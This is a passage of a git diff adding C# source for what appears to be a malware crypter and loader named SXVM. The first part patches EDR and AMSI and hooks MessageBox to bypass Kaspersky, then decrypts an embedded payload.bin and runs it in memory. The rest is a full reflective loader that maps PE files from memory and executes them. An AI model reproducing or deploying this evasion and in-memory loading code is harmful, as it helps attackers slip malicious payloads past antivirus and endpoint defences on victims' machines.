Bypass(string[] args) + { + PatchEDR(false, true, false); + HardwareBreakpointAmsiPatch.Bypass(); + KasperskyBypass kasperskyBypass = _KasperskyBypass; + IntPtr KasperskyAddress = typeof(System.Windows.Forms.MessageBox).GetMethod("Show", BindingFlags.Instance | BindingFlags.Public | BindingFlags.NonPublic | BindingFlags.Static, null, new Type[] { typeof(string) }, null).MethodHandle.GetFunctionPointer(); + sxvm_kaspersky.Hook(KasperskyAddress, kasperskyBypass, true, false); + PassthroughArgs = args; + try + { + MessageBox.Show("A"); + } + catch + { + } + } + + private static void _KasperskyBypass() + { + sxvm_kaspersky.Unhook(); + Program.AttachHooks(null); + MethodInfo mi = Assembly.Load(Decompress(AESDecrypt(ExtractResource(@"payload.bin"), DecryptionKey))).EntryPoint; + ClearDecryptionKeyFromMemory(); + try + { + string[] args = PassthroughArgs; + PassthroughArgs = null; + mi.Invoke(null, new object[] { args }); + } + catch + { + mi.Invoke(null, null); + } + } + } +} diff --git a/SXVM/DllFromMemory.cs b/SXVM/DllFromMemory.cs new file mode 100644 index 0000000..c5ce19e --- /dev/null +++ b/SXVM/DllFromMemory.cs @@ -0,0 +1,895 @@ +using System; +using System.Collections.Generic; +using System.Linq; +using System.Runtime.InteropServices; +using System.Text; +using System.Threading.Tasks; + +namespace SXVM +{ + internal class DLLFromMemory : IDisposable + { + public class DllException : Exception + { + public DllException() : base() { } + public DllException(string message) : base(message) { } + public DllException(string message, Exception innerException) : base(message, innerException) { } + } + + public bool Disposed { get; private set; } + public bool IsDll { get; private set; } + + public IntPtr pCode = IntPtr.Zero; + IntPtr pNTHeaders = IntPtr.Zero; + IntPtr[] ImportModules; + bool _initialized = false; + DllEntryDelegate _dllEntry = null; + ExeEntryDelegate _exeEntry = null; + bool _isRelocated = false; + + [UnmanagedFunctionPointer(CallingConvention.Winapi)] + delegate bool DllEntryDelegate(IntPtr hinstDLL, DllReason fdwReason, IntPtr lpReserved); + + [UnmanagedFunctionPointer(CallingConvention.Winapi)] + delegate int ExeEntryDelegate(); + + [UnmanagedFunctionPointer(CallingConvention.Winapi)] + delegate void ImageTlsDelegate(IntPtr dllHandle, DllReason reason, IntPtr reserved); + + public DLLFromMemory(byte[] data) + { + Disposed = false; + if (data == null) throw new ArgumentNullException("data"); + MemoryLoadLibrary(data); + } + + ~DLLFromMemory() + { + Dispose(); + } + + public TDelegate GetDelegateFromFuncName(string funcName) where TDelegate : class + { + if (!typeof(Delegate).IsAssignableFrom(typeof(TDelegate))) throw new ArgumentException(typeof(TDelegate).Name + " is not a delegate"); + TDelegate res = Marshal.GetDelegateForFunctionPointer((IntPtr)GetPtrFromFuncName(funcName), typeof(TDelegate)) as TDelegate; + if (res == null) throw new DllException("Unable to get managed delegate"); + return res; + } + + public Delegate GetDelegateFromFuncName(string funcName, Type delegateType) + { + if (delegateType == null) throw new ArgumentNullException("delegateType"); + if (!typeof(Delegate).IsAssignableFrom(delegateType)) throw new ArgumentException(delegateType.Name + " is not a delegate"); + Delegate res = Marshal.GetDelegateForFunctionPointer(GetPtrFromFuncName(funcName), delegateType); + if (res == null) throw new DllException("Unable to get managed delegate"); + return res; + } + + public IntPtr GetPtrFromFuncName(string funcName) + { + if (Disposed) throw new ObjectDisposedException("DLLFromMemory"); + if (string.IsNullOrEmpty(funcName)) throw new ArgumentException("funcName"); + if (!IsDll) throw new InvalidOperationException("Loaded Module is not a DLL"); + + IntPtr pDirectory = PtrAdd(pNTHeaders, Of.IMAGE_NT_HEADERS_OptionalHeader + (Is64BitProcess ? Of64.IMAGE_OPTIONAL_HEADER_ExportTable : Of32.IMAGE_OPTIONAL_HEADER_ExportTable)); + IMAGE_DATA_DIRECTORY Directory = PtrRead(pDirectory); + if (Directory.Size == 0) throw new DllException("Dll has no export table"); + + IntPtr pExports = PtrAdd(pCode, Directory.VirtualAddress); + IMAGE_EXPORT_DIRECTORY Exports = PtrRead(pExports); + if (Exports.NumberOfFunctions == 0 || Exports.NumberOfNames == 0) throw new DllException("Dll exports no functions"); + + IntPtr pNameRef = PtrAdd(pCode, Exports.AddressOfNames); + IntPtr pOrdinal = PtrAdd(pCode, Exports.AddressOfNameOrdinals); + for (int i = 0; i < Exports.NumberOfNames; i++, pNameRef = PtrAdd(pNameRef, sizeof(uint)), pOrdinal = PtrAdd(pOrdinal, sizeof(ushort))) + { + uint NameRef = PtrRead(pNameRef); + ushort Ordinal = PtrRead(pOrdinal); + string curFuncName = Marshal.PtrToStringAnsi(PtrAdd(pCode, NameRef)); + if (curFuncName == funcName) + { + if (Ordinal > Exports.NumberOfFunctions) throw new DllException("Invalid function ordinal"); + IntPtr pAddressOfFunction = PtrAdd(pCode, (Exports.AddressOfFunctions + (uint)(Ordinal * 4))); + return PtrAdd(pCode, PtrRead(pAddressOfFunction)); + } + } + + throw new DllException("Dll exports no function named " + funcName); + } + + public int MemoryCallEntryPoint() + { + if (Disposed) throw new ObjectDisposedException("DLLFromMemory"); + if (IsDll || _exeEntry == null || !_isRelocated) throw new DllException("Unable to call entry point. Is loaded module a dll?"); + return _exeEntry(); + } + + void MemoryLoadLibrary(byte[] data) + { + if (data.Length < Marshal.SizeOf(typeof(IMAGE_DOS_HEADER))) throw new DllException("Not a valid executable file"); + IMAGE_DOS_HEADER DosHeader = BytesReadStructAt(data, 0); + if (DosHeader.e_magic != Win.IMAGE_DOS_SIGNATURE) throw new BadImageFormatException("Not a valid executable file"); + + if (data.Length < DosHeader.e_lfanew + Marshal.SizeOf(typeof(IMAGE_NT_HEADERS))) throw new DllException("Not a valid executable file"); + IMAGE_NT_HEADERS OrgNTHeaders = BytesReadStructAt(data, DosHeader.e_lfanew); + + if (OrgNTHeaders.Signature != Win.IMAGE_NT_SIGNATURE) throw new BadImageFormatException("Not a valid PE file"); + if (OrgNTHeaders.FileHeader.Machine != GetMachineType()) throw new BadImageFormatException("Machine type doesn't fit (i386 vs. AMD64)"); + if ((OrgNTHeaders.OptionalHeader.SectionAlignment & 1) > 0) throw new BadImageFormatException("Wrong section alignment"); //Only support multiple of 2 + //if (OrgNTHeaders.OptionalHeader.AddressOfEntryPoint == 0) throw new DllException("Module has no entry point"); + + SYSTEM_INFO systemInfo; + Win.GetNativeSystemInfo(out systemInfo); + uint lastSectionEnd = 0; + int ofSection = Win.IMAGE_FIRST_SECTION(DosHeader.e_lfanew, OrgNTHeaders.FileHeader.SizeOfOptionalHeader); + for (int i = 0; i != OrgNTHeaders.FileHeader.NumberOfSections; i++, ofSection += Sz.IMAGE_SECTION_HEADER) + { + IMAGE_SECTION_HEADER Section = BytesReadStructAt(data, ofSection); + uint endOfSection = Section.VirtualAddress + (Section.SizeOfRawData > 0 ? Section.SizeOfRawData : OrgNTHeaders.OptionalHeader.SectionAlignment); + if (endOfSection > lastSectionEnd) lastSectionEnd = endOfSection; + } + + uint alignedImageSize = AlignValueUp(OrgNTHeaders.OptionalHeader.SizeOfImage, systemInfo.dwPageSize); + uint alignedLastSection = AlignValueUp(lastSectionEnd, systemInfo.dwPageSize); + if (alignedImageSize != alignedLastSection) throw new BadImageFormatException("Wrong section alignment"); + + IntPtr oldHeader_OptionalHeader_ImageBase; + if (Is64BitProcess) oldHeader_OptionalHeader_ImageBase = (IntPtr)unchecked((long)(OrgNTHeaders.OptionalHeader.ImageBaseLong)); + else oldHeader_OptionalHeader_ImageBase = (IntPtr)unchecked((int)(OrgNTHeaders.OptionalHeader.ImageBaseLong >> 32)); + + pCode = Win.VirtualAlloc(oldHeader_OptionalHeader_ImageBase, (UIntPtr)OrgNTHeaders.OptionalHeader.SizeOfImage, AllocationType.RESERVE | AllocationType.COMMIT, MemoryProtection.READWRITE); + + if (pCode == IntPtr.Zero) pCode = Win.VirtualAlloc(IntPtr.Zero, (UIntPtr)OrgNTHeaders.OptionalHeader.SizeOfImage, AllocationType.RESERVE | AllocationType.COMMIT, MemoryProtection.READWRITE); + + if (pCode == IntPtr.Zero) throw new DllException("Out of Memory"); + + if (Is64BitProcess && PtrSpanBoundary(pCode, alignedImageSize, 32)) + { + System.Collections.Generic.List BlockedMemory = new System.Collections.Generic.List(); + while (PtrSpanBoundary(pCode, alignedImageSize, 32)) + { + BlockedMemory.Add(pCode); + pCode = Win.VirtualAlloc(IntPtr.Zero, (UIntPtr)alignedImageSize, AllocationType.RESERVE | AllocationType.COMMIT, MemoryProtection.READWRITE); + if (pCode == IntPtr.Zero) break; + } + foreach (IntPtr ptr in BlockedMemory) Win.VirtualFree(ptr, IntPtr.Zero, AllocationType.RELEASE); + if (pCode == IntPtr.Zero) throw new DllException("Out of Memory"); + } + + IntPtr headers = Win.VirtualAlloc(pCode, (UIntPtr)OrgNTHeaders.OptionalHeader.SizeOfHeaders, AllocationType.COMMIT, MemoryProtection.READWRITE); + if (headers == IntPtr.Zero) throw new DllException("Out of Memory"); + + Marshal.Copy(data, 0, headers, (int)(OrgNTHeaders.OptionalHeader.SizeOfHeaders)); + pNTHeaders = PtrAdd(headers, DosHeader.e_lfanew); + + IntPtr locationDelta = PtrSub(pCode, oldHeader_OptionalHeader_ImageBase); + if (locationDelta != IntPtr.Zero) + { + Marshal.OffsetOf(typeof(IMAGE_NT_HEADERS), "OptionalHeader"); + Marshal.OffsetOf(typeof(IMAGE_OPTIONAL_HEADER), "ImageBaseLong"); + IntPtr pImageBase = PtrAdd(pNTHeaders, Of.IMAGE_NT_HEADERS_OptionalHeader + (Is64BitProcess ? Of64.IMAGE_OPTIONAL_HEADER_ImageBase : Of32.IMAGE_OPTIONAL_HEADER_ImageBase)); + PtrWrite(pImageBase, pCode); + } + + CopySections(ref OrgNTHeaders, pCode, pNTHeaders, data); + + _isRelocated = (locationDelta != IntPtr.Zero ? PerformBaseRelocation(ref OrgNTHeaders, pCode, locationDelta) : true); + + ImportModules = BuildImportTable(ref OrgNTHeaders, pCode); + + FinalizeSections(ref OrgNTHeaders, pCode, pNTHeaders, systemInfo.dwPageSize); + + ExecuteTLS(ref OrgNTHeaders, pCode, pNTHeaders); + + IsDll = ((OrgNTHeaders.FileHeader.Characteristics & Win.IMAGE_FILE_DLL) != 0); + if (OrgNTHeaders.OptionalHeader.AddressOfEntryPoint != 0) + { + if (IsDll) + { + IntPtr dllEntryPtr = PtrAdd(pCode, OrgNTHeaders.OptionalHeader.AddressOfEntryPoint); + _dllEntry = (DllEntryDelegate)Marshal.GetDelegateForFunctionPointer(dllEntryPtr, typeof(DllEntryDelegate)); + + _initialized = (_dllEntry != null && _dllEntry(pCode, DllReason.DLL_PROCESS_ATTACH, IntPtr.Zero)); + } + else + { + IntPtr exeEntryPtr = PtrAdd(pCode, OrgNTHeaders.OptionalHeader.AddressOfEntryPoint); + _exeEntry = (ExeEntryDelegate)Marshal.GetDelegateForFunctionPointer(exeEntryPtr, typeof(ExeEntryDelegate)); + } + } + } + + static void CopySections(ref IMAGE_NT_HEADERS OrgNTHeaders, IntPtr pCode, IntPtr pNTHeaders, byte[] data) + { + IntPtr pSection = Win.IMAGE_FIRST_SECTION(pNTHeaders, OrgNTHeaders.FileHeader.SizeOfOptionalHeader); + for (int i = 0; i < OrgNTHeaders.FileHeader.NumberOfSections; i++, pSection = PtrAdd(pSection, Sz.IMAGE_SECTION_HEADER)) + { + IMAGE_SECTION_HEADER Section = PtrRead(pSection); + if (Section.SizeOfRawData == 0) + { + uint size = OrgNTHeaders.OptionalHeader.SectionAlignment; + if (size > 0) + { + IntPtr dest = Win.VirtualAlloc(PtrAdd(pCode, Section.VirtualAddress), (UIntPtr)size, AllocationType.COMMIT, MemoryProtection.READWRITE); + if (dest == IntPtr.Zero) throw new DllException("Unable to allocate memory"); + + dest = PtrAdd(pCode, Section.VirtualAddress); + + PtrWrite(PtrAdd(pSection, Of.IMAGE_SECTION_HEADER_PhysicalAddress), unchecked((uint)(ulong)(long)dest)); + + Win.MemSet(dest, 0, (UIntPtr)size); + } + + continue; + } + else + { + IntPtr dest = Win.VirtualAlloc(PtrAdd(pCode, Section.VirtualAddress), (UIntPtr)Section.SizeOfRawData, AllocationType.COMMIT, MemoryProtection.READWRITE); + if (dest == IntPtr.Zero) throw new DllException("Out of memory"); + + dest = PtrAdd(pCode, Section.VirtualAddress); + Marshal.Copy(data, checked((int)Section.PointerToRawData), dest, checked((int)Section.SizeOfRawData)); + + PtrWrite(PtrAdd(pSection, Of.IMAGE_SECTION_HEADER_PhysicalAddress), unchecked((uint)(ulong)(long)dest)); + } + } + } + + static bool PerformBaseRelocation(ref IMAGE_NT_HEADERS OrgNTHeaders, IntPtr pCode, IntPtr delta) + { + if (OrgNTHeaders.OptionalHeader.BaseRelocationTable.Size == 0) return (delta == IntPtr.Zero); + + for (IntPtr pRelocation = PtrAdd(pCode, OrgNTHeaders.OptionalHeader.BaseRelocationTable.VirtualAddress); ;) + { + IMAGE_BASE_RELOCATION Relocation = PtrRead(pRelocation); + if (Relocation.VirtualAdress == 0) break; + + IntPtr pDest = PtrAdd(pCode, Relocation.VirtualAdress); + IntPtr pRelInfo = PtrAdd(pRelocation, Sz.IMAGE_BASE_RELOCATION); + uint RelCount = ((Relocation.SizeOfBlock - Sz.IMAGE_BASE_RELOCATION) / 2); + for (uint i = 0; i != RelCount; i++, pRelInfo = PtrAdd(pRelInfo, sizeof(ushort))) + { + ushort relInfo = (ushort)Marshal.PtrToStructure(pRelInfo, typeof(ushort)); + BasedRelocationType type = (BasedRelocationType)(relInfo >> 12); + int offset = (relInfo & 0xfff); + IntPtr pPatchAddr = PtrAdd(pDest, offset); + + switch (type) + { + case BasedRelocationType.IMAGE_REL_BASED_ABSOLUTE: + break; + case BasedRelocationType.IMAGE_REL_BASED_HIGHLOW: + int patchAddrHL = (int)Marshal.PtrToStructure(pPatchAddr, typeof(int)); + patchAddrHL += (int)delta; + Marshal.StructureToPtr(patchAddrHL, pPatchAddr, false); + break; + case BasedRelocationType.IMAGE_REL_BASED_DIR64: + long patchAddr64 = (long)Marshal.PtrToStructure(pPatchAddr, typeof(long)); + patchAddr64 += (long)delta; + Marshal.StructureToPtr(patchAddr64, pPatchAddr, false); + break; + } + } + + pRelocation = PtrAdd(pRelocation, Relocation.SizeOfBlock); + } + return true; + } + + static IntPtr[] BuildImportTable(ref IMAGE_NT_HEADERS OrgNTHeaders, IntPtr pCode) + { + System.Collections.Generic.List ImportModules = new System.Collections.Generic.List(); + uint NumEntries = OrgNTHeaders.OptionalHeader.ImportTable.Size / Sz.IMAGE_IMPORT_DESCRIPTOR; + IntPtr pImportDesc = PtrAdd(pCode, OrgNTHeaders.OptionalHeader.ImportTable.VirtualAddress); + for (uint i = 0; i != NumEntries; i++, pImportDesc = PtrAdd(pImportDesc, Sz.IMAGE_IMPORT_DESCRIPTOR)) + { + IMAGE_IMPORT_DESCRIPTOR ImportDesc = PtrRead(pImportDesc); + if (ImportDesc.Name == 0) break; + + IntPtr handle = Win.LoadLibrary(PtrAdd(pCode, ImportDesc.Name)); + if (PtrIsInvalidHandle(handle)) + { + foreach (IntPtr m in ImportModules) Win.FreeLibrary(m); + ImportModules.Clear(); + throw new DllException("Can't load libary " + Marshal.PtrToStringAnsi(PtrAdd(pCode, ImportDesc.Name))); + } + ImportModules.Add(handle); + + IntPtr pThunkRef, pFuncRef; + if (ImportDesc.OriginalFirstThunk > 0) + { + pThunkRef = PtrAdd(pCode, ImportDesc.OriginalFirstThunk); + pFuncRef = PtrAdd(pCode, ImportDesc.FirstThunk); + } + else + { + pThunkRef = PtrAdd(pCode, ImportDesc.FirstThunk); + pFuncRef = PtrAdd(pCode, ImportDesc.FirstThunk); + } + for (int SzRef = IntPtr.Size; ; pThunkRef = PtrAdd(pThunkRef, SzRef), pFuncRef = PtrAdd(pFuncRef, SzRef)) + { + IntPtr ReadThunkRef = PtrRead(pThunkRef), WriteFuncRef; + if (ReadThunkRef == IntPtr.Zero) break; + if (Win.IMAGE_SNAP_BY_ORDINAL(ReadThunkRef)) + { + WriteFuncRef = Win.GetProcAddress(handle, Win.IMAGE_ORDINAL(ReadThunkRef)); + } + else + { + WriteFuncRef = Win.GetProcAddress(handle, PtrAdd(PtrAdd(pCode, ReadThunkRef), Of.IMAGE_IMPORT_BY_NAME_Name)); + } + if (WriteFuncRef == IntPtr.Zero) throw new DllException("Can't get adress for imported function"); + PtrWrite(pFuncRef, WriteFuncRef); + } + } + return (ImportModules.Count > 0 ? ImportModules.ToArray() : null); + } + + static void FinalizeSections(ref IMAGE_NT_HEADERS OrgNTHeaders, IntPtr pCode, IntPtr pNTHeaders, uint PageSize) + { + UIntPtr imageOffset = (Is64BitProcess ? (UIntPtr)(unchecked((ulong)pCode.ToInt64()) & 0xffffffff00000000) : UIntPtr.Zero); + IntPtr pSection = Win.IMAGE_FIRST_SECTION(pNTHeaders, OrgNTHeaders.FileHeader.SizeOfOptionalHeader); + IMAGE_SECTION_HEADER Section = PtrRead(pSection); + SectionFinalizeData sectionData = new SectionFinalizeData(); + sectionData.Address = PtrBitOr(PtrAdd((IntPtr)0, Section.PhysicalAddress), imageOffset); + sectionData.AlignedAddress = PtrAlignDown(sectionData.Address, (UIntPtr)PageSize); + sectionData.Size = GetRealSectionSize(ref Section, ref OrgNTHeaders); + sectionData.Characteristics = Section.Characteristics; + sectionData.Last = false; + pSection = PtrAdd(pSection, Sz.IMAGE_SECTION_HEADER); + + for (int i = 1; i < OrgNTHeaders.FileHeader.NumberOfSections; i++, pSection = PtrAdd(pSection, Sz.IMAGE_SECTION_HEADER)) + { + Section = PtrRead(pSection); + IntPtr sectionAddress = PtrBitOr(PtrAdd((IntPtr)0, Section.PhysicalAddress), imageOffset); + IntPtr alignedAddress = PtrAlignDown(sectionAddress, (UIntPtr)PageSize); + IntPtr sectionSize = GetRealSectionSize(ref Section, ref OrgNTHeaders); + + IntPtr a = PtrAdd(sectionData.Address, sectionData.Size); + ulong b = unchecked((ulong)a.ToInt64()), c = unchecked((ulong)alignedAddress); + + if (sectionData.AlignedAddress == alignedAddress || unchecked((ulong)PtrAdd(sectionData.Address, sectionData.Size).ToInt64()) > unchecked((ulong)alignedAddress)) + { + if ((Section.Characteristics & Win.IMAGE_SCN_MEM_DISCARDABLE) == 0 || (sectionData.Characteristics & Win.IMAGE_SCN_MEM_DISCARDABLE) == 0) + { + sectionData.Characteristics = (sectionData.Characteristics | Section.Characteristics) & ~Win.IMAGE_SCN_MEM_DISCARDABLE; + } + else + { + sectionData.Characteristics |= Section.Characteristics; + } + sectionData.Size = PtrSub(PtrAdd(sectionAddress, sectionSize), sectionData.Address); + continue; + } + + FinalizeSection(sectionData, PageSize, OrgNTHeaders.OptionalHeader.SectionAlignment); + + sectionData.Address = sectionAddress; + sectionData.AlignedAddress = alignedAddress; + sectionData.Size = sectionSize; + sectionData.Characteristics = Section.Characteristics; + } + sectionData.Last = true; + FinalizeSection(sectionData, PageSize, OrgNTHeaders.OptionalHeader.SectionAlignment); + } + + static void FinalizeSection(SectionFinalizeData SectionData, uint PageSize, uint SectionAlignment) + { + if (SectionData.Size == IntPtr.Zero) + return; + + if ((SectionData.Characteristics & Win.IMAGE_SCN_MEM_DISCARDABLE) > 0) + { + if (SectionData.Address == SectionData.AlignedAddress && + (SectionData.Last || + SectionAlignment == PageSize || + (unchecked((ulong)SectionData.Size.ToInt64()) % PageSize) == 0) + ) + { + Win.VirtualFree(SectionData.Address, SectionData.Size, AllocationType.DECOMMIT); + } + return; + } + + int readable = (SectionData.Characteristics & (uint)ImageSectionFlags.IMAGE_SCN_MEM_READ) != 0 ? 1 : 0; + int writeable = (SectionData.Characteristics & (uint)ImageSectionFlags.IMAGE_SCN_MEM_WRITE) != 0 ? 1 : 0; + int executable = (SectionData.Characteristics & (uint)ImageSectionFlags.IMAGE_SCN_MEM_EXECUTE) != 0 ? 1 : 0; + uint protect = (uint)ProtectionFlags[executable, readable, writeable]; + if ((SectionData.Characteristics & Win.IMAGE_SCN_MEM_NOT_CACHED) > 0) protect |= Win.PAGE_NOCACHE; + + uint oldProtect; + if (!Win.VirtualProtect(SectionData.Address, SectionData.Size, protect, out oldProtect)) + throw new DllException("Error protecting memory page"); + } + + static void ExecuteTLS(ref IMAGE_NT_HEADERS OrgNTHeaders, IntPtr pCode, IntPtr pNTHeaders) + { + if (OrgNTHeaders.OptionalHeader.TLSTable.VirtualAddress == 0) return; + IMAGE_TLS_DIRECTORY tlsDir = PtrRead(PtrAdd(pCode, OrgNTHeaders.OptionalHeader.TLSTable.VirtualAddress)); + IntPtr pCallBack = tlsDir.AddressOfCallBacks; + if (pCallBack != IntPtr.Zero) + { + for (IntPtr Callback; (Callback = PtrRead(pCallBack)) != IntPtr.Zero; pCallBack = PtrAdd(pCallBack, IntPtr.Size)) + { + ImageTlsDelegate tls = (ImageTlsDelegate)Marshal.GetDelegateForFunctionPointer(Callback, typeof(ImageTlsDelegate)); + tls(pCode, DllReason.DLL_PROCESS_ATTACH, IntPtr.Zero); + } + } + } + + public static bool Is64BitProcess { get { return IntPtr.Size == 8; } } + + static uint GetMachineType() { return (IntPtr.Size == 8 ? Win.IMAGE_FILE_MACHINE_AMD64 : Win.IMAGE_FILE_MACHINE_I386); } + + static uint AlignValueUp(uint value, uint alignment) { return (value + alignment - 1) & ~(alignment - 1); } + + static IntPtr GetRealSectionSize(ref IMAGE_SECTION_HEADER Section, ref IMAGE_NT_HEADERS NTHeaders) + { + uint size = Section.SizeOfRawData; + if (size == 0) + { + if ((Section.Characteristics & Win.IMAGE_SCN_CNT_INITIALIZED_DATA) > 0) + { + size = NTHeaders.OptionalHeader.SizeOfInitializedData; + } + else if ((Section.Characteristics & Win.IMAGE_SCN_CNT_UNINITIALIZED_DATA) > 0) + { + size = NTHeaders.OptionalHeader.SizeOfUninitializedData; + } + } + return (IntPtr.Size == 8 ? (IntPtr)unchecked((long)size) : (IntPtr)unchecked((int)size)); + } + + public void Close() { ((IDisposable)this).Dispose(); } + + void IDisposable.Dispose() + { + Dispose(); + GC.SuppressFinalize(this); + } + + public void Dispose() + { + if (_initialized) + { + if (_dllEntry != null) _dllEntry.Invoke(pCode, DllReason.DLL_PROCESS_DETACH, IntPtr.Zero); + _initialized = false; + } + + if (ImportModules != null) + { + foreach (IntPtr m in ImportModules) if (!PtrIsInvalidHandle(m)) Win.FreeLibrary(m); + ImportModules = null; + } + + if (pCode != IntPtr.Zero) + { + Win.VirtualFree(pCode, IntPtr.Zero, AllocationType.RELEASE); + pCode = IntPtr.Zero; + pNTHeaders = IntPtr.Zero; + } + + Disposed = true; + } + + // Protection flags for memory pages (Executable, Readable, Writeable) + static readonly PageProtection[,,] ProtectionFlags = new PageProtection[2, 2, 2] + { + { + // not executable + { PageProtection.NOACCESS, PageProtection.WRITECOPY }, + { PageProtection.READONLY, PageProtection.READWRITE } + }, + { + // executable + { PageProtection.EXECUTE, PageProtection.EXECUTE_WRITECOPY }, + { PageProtection.EXECUTE_READ, PageProtection.EXECUTE_READWRITE } + } + }; + + struct SectionFinalizeData + { + internal IntPtr Address; + internal IntPtr AlignedAddress; + internal IntPtr Size; + internal uint Characteristics; + internal bool Last; + } + + class Of + { + internal const int IMAGE_NT_HEADERS_OptionalHeader = 24; + internal const int IMAGE_SECTION_HEADER_PhysicalAddress = 8; + internal const int IMAGE_IMPORT_BY_NAME_Name = 2; + } + + class Of32 + { + internal const int IMAGE_OPTIONAL_HEADER_ImageBase = 28; + internal const int IMAGE_OPTIONAL_HEADER_ExportTable = 96; + } + + class Of64 + { + internal const int IMAGE_OPTIONAL_HEADER_ImageBase = 24; + internal const int IMAGE_OPTIONAL_HEADER_ExportTable = 112; + } + + class Sz + { + internal const int IMAGE_SECTION_HEADER = 40; + internal const int IMAGE_BASE_RELOCATION = 8; + internal const int IMAGE_IMPORT_DESCRIPTOR = 20; + } + + [StructLayout(LayoutKind.Sequential)] + struct IMAGE_DOS_HEADER + { + public ushort e_magic; // Magic number + public ushort e_cblp; // Bytes on last page of file + public ushort e_cp; // Pages in file + public ushort e_crlc; // Relocations + public ushort e_cparhdr; // Size of header in paragraphs + public ushort e_minalloc; // Minimum extra paragraphs needed + public ushort e_maxalloc; // Maximum extra paragraphs needed + public ushort e_ss; // Initial (relative) SS value + public ushort e_sp; // Initial SP value + public ushort e_csum; // Checksum + public ushort e_ip; // Initial IP value + public ushort e_cs; // Initial (relative) CS value + public ushort e_lfarlc; // File address of relocation table + public ushort e_ovno; // Overlay number + public ushort e_res1a, e_res1b, e_res1c, e_res1d; // Reserved words + public ushort e_oemid; // OEM identifier (for e_oeminfo) + public ushort e_oeminfo; // OEM information; e_oemid specific + public ushort e_res2a, e_res2b, e_res2c, e_res2d, e_res2e, e_res2f, e_res2g, e_res2h, e_res2i, e_res2j; // Reserved words + public int e_lfanew; // File address of new exe header + } + + [StructLayout(LayoutKind.Sequential)] + struct IMAGE_NT_HEADERS + { + public uint Signature; + public IMAGE_FILE_HEADER FileHeader; + public IMAGE_OPTIONAL_HEADER OptionalHeader; + } + + [StructLayout(LayoutKind.Sequential)] + struct IMAGE_FILE_HEADER + { + public ushort Machine; + public ushort NumberOfSections; + public uint TimeDateStamp; + public uint PointerToSymbolTable; + public uint NumberOfSymbols; + public ushort SizeOfOptionalHeader; + public ushort Characteristics; + } + + [StructLayout(LayoutKind.Sequential)] + struct IMAGE_OPTIONAL_HEADER + { + public MagicType Magic; + public byte MajorLinkerVersion; + public byte MinorLinkerVersion; + public uint SizeOfCode; + public uint SizeOfInitializedData; + public uint SizeOfUninitializedData; + public uint AddressOfEntryPoint; + public uint BaseOfCode; + public ulong ImageBaseLong; + public uint SectionAlignment; + public uint FileAlignment; + public ushort MajorOperatingSystemVersion; + public ushort MinorOperatingSystemVersion; + public ushort MajorImageVersion; + public ushort MinorImageVersion; + public ushort MajorSubsystemVersion; + public ushort MinorSubsystemVersion; + public uint Win32VersionValue; + public uint SizeOfImage; + public uint SizeOfHeaders; + public uint CheckSum; + public SubSystemType Subsystem; + public DllCharacteristicsType DllCharacteristics; + public IntPtr SizeOfStackReserve; + public IntPtr SizeOfStackCommit; + public IntPtr SizeOfHeapReserve; + public IntPtr SizeOfHeapCommit; + public uint LoaderFlags; + public uint NumberOfRvaAndSizes; + public IMAGE_DATA_DIRECTORY ExportTable; + public IMAGE_DATA_DIRECTORY ImportTable; + public IMAGE_DATA_DIRECTORY ResourceTable; + public IMAGE_DATA_DIRECTORY ExceptionTable; + public IMAGE_DATA_DIRECTORY CertificateTable; + public IMAGE_DATA_DIRECTORY BaseRelocationTable; + public IMAGE_DATA_DIRECTORY Debug; + public IMAGE_DATA_DIRECTORY Architecture; + public IMAGE_DATA_DIRECTORY GlobalPtr; + public IMAGE_DATA_DIRECTORY TLSTable; + public IMAGE_DATA_DIRECTORY LoadConfigTable; + public IMAGE_DATA_DIRECTORY BoundImport; + public IMAGE_DATA_DIRECTORY IAT; + public IMAGE_DATA_DIRECTORY DelayImportDescriptor; + public IMAGE_DATA_DIRECTORY CLRRuntimeHeader; + public IMAGE_DATA_DIRECTORY Reserved; + } + + [StructLayout(LayoutKind.Sequential)] + struct IMAGE_DATA_DIRECTORY + { + public uint VirtualAddress; + public uint Size; + } + + [StructLayout(LayoutKind.Sequential)] + struct IMAGE_SECTION_HEADER + { + public ulong Name; //8 byte string + public uint PhysicalAddress; + public uint VirtualAddress; + public uint SizeOfRawData; + public uint PointerToRawData; + public uint PointerToRelocations; + public uint PointerToLinenumbers; + public ushort NumberOfRelocations; + public ushort NumberOfLinenumbers; + public uint Characteristics; + } + + [StructLayout(LayoutKind.Sequential)] + struct IMAGE_BASE_RELOCATION + { + public uint VirtualAdress; + public uint SizeOfBlock; + } + + [StructLayout(LayoutKind.Sequential)] + struct IMAGE_IMPORT_DESCRIPTOR + { + public uint OriginalFirstThunk; + public uint TimeDateStamp; + public uint ForwarderChain; + public uint Name; + public uint FirstThunk; + } + + [StructLayout(LayoutKind.Sequential)] + struct IMAGE_EXPORT_DIRECTORY + { + public uint Characteristics; + public uint TimeDateStamp; + public ushort MajorVersion; + public ushort MinorVersion; + public uint Name; + public uint Base; + public uint NumberOfFunctions; + public uint NumberOfNames; + public uint AddressOfFunctions; + public uint AddressOfNames; + public uint AddressOfNameOrdinals; + } + + [StructLayout(LayoutKind.Sequential)] + struct SYSTEM_INFO + { + public ushort wProcessorArchitecture; + public ushort wReserved; + public uint dwPageSize; + public IntPtr lpMinimumApplicationAddress; + public IntPtr lpMaximumApplicationAddress; + public IntPtr dwActiveProcessorMask; + public uint dwNumberOfProcessors; + public uint dwProcessorType; + public uint dwAllocationGranularity; + public ushort wProcessorLevel; + public ushort wProcessorRevision; + }; + + [StructLayout(LayoutKind.Sequential)] + struct IMAGE_TLS_DIRECTORY + { + public IntPtr StartAddressOfRawData; + public IntPtr EndAddressOfRawData; + public IntPtr AddressOfIndex; + public IntPtr AddressOfCallBacks; + public IntPtr SizeOfZeroFill; + public uint Characteristics; + } + + enum MagicType : ushort + { + IMAGE_NT_OPTIONAL_HDR32_MAGIC = 0x10b, + IMAGE_NT_OPTIONAL_HDR64_MAGIC = 0x20b + } + + enum SubSystemType : ushort + { + IMAGE_SUBSYSTEM_UNKNOWN = 0, + IMAGE_SUBSYSTEM_NATIVE = 1, + IMAGE_SUBSYSTEM_WINDOWS_GUI = 2, + IMAGE_SUBSYSTEM_WINDOWS_CUI = 3, + IMAGE_SUBSYSTEM_POSIX_CUI = 7, + IMAGE_SUBSYSTEM_WINDOWS_CE_GUI = 9, + IMAGE_SUBSYSTEM_EFI_APPLICATION = 10, + IMAGE_SUBSYSTEM_EFI_BOOT_SERVICE_DRIVER = 11, + IMAGE_SUBSYSTEM_EFI_RUNTIME_DRIVER = 12, + IMAGE_SUBSYSTEM_EFI_ROM = 13, + IMAGE_SUBSYSTEM_XBOX = 14 + } + + enum 